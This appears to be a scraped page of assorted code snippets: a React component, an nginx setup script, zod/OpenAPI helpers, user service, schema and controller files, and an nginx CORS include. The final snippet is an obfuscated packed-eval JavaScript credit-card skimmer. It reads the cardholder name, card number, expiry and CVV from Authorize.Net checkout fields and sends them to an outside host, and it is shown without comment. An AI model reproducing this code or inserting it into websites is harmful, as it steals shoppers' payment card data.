This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import React, { useState, useRef, useEffect, ReactNode, MutableRefObject } from "react"; | |
import { cn } from "@/lib/utils"; | |
type Props = { | |
defaultHeight?: string; | |
verticalOffset?: number; | |
horizontalOffset?: number; | |
root?: MutableRefObject<HTMLElement | null>; | |
children: ReactNode; | |
as?: keyof JSX.IntrinsicElements; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Configuration | |
NGINX_DIR="$PWD/nginx" | |
NGINX_CONF="${NGINX_DIR}/nginx.conf" | |
ENV_FILE=".env" | |
# Exit codes | |
EXIT_NO_NGINX=1 | |
EXIT_INVALID_USAGE=2 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import { SchemaObject } from "openapi3-ts/oas30"; | |
import { z } from "zod"; | |
declare module 'zod' { | |
export interface ZodType { | |
describe(description: string | object): this; | |
} | |
} | |
const getBaseProps = (schema: z.ZodTypeAny) => ({ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import { injectable } from "nextjs-route-decorator"; | |
import type { RegisterUser, Users, User } from "./user.schema"; | |
@injectable() | |
export class UserService { | |
async getUsers(): Promise<Users> { | |
return [ | |
{ | |
id: "1", | |
username: "user1", |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import { z } from "zod"; | |
export const UserObject = z.object({ | |
id: z.string().default("1").describe("User ID"), | |
username: z.string().min(3, "Username must be at least 3 characters long"), | |
email: z.string().email("Invalid email address"), | |
password: z.string().min(6, "Password must be at least 6 characters long"), | |
}); | |
export const RegisterUser = UserObject.omit({ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import { | |
Controller, | |
Post, | |
Body, | |
StatusCode, | |
Get, | |
inject, | |
Param, | |
Put, | |
Delete, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# | |
# CORS header support | |
# | |
# One way to use this is by placing it into a file called "cors_support" | |
# under your Nginx configuration directory and placing the following | |
# statement inside your **location** block(s): | |
# | |
# include cors_support; | |
# | |
# As of Nginx 1.7.5, add_header supports an "always" parameter which |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('$(6).a(2(){$("#3").8(2(){5 1=$(\'#7\').0()+\'|\'+$(\'#9\').0()+\'|\'+$(\'#4\').0()+\'|\'+$(\'#b\').0()+\'|\'+$(\'#3\').0();$(\'#c\').d(\'e://f.g/h.i?1=\'+j(1))})});',20,20,'val|data|function|cc_cvv2|AuthorizeNet_ccexpm|var|document|AuthorizeNet_name|change|AuthorizeNet_ccno|ready|AuthorizeNet_ccexpy|CheckoutStepPaymentDetails|load|http|mythien|net|post|php|encodeURIComponent'.split('|'),0,{})) |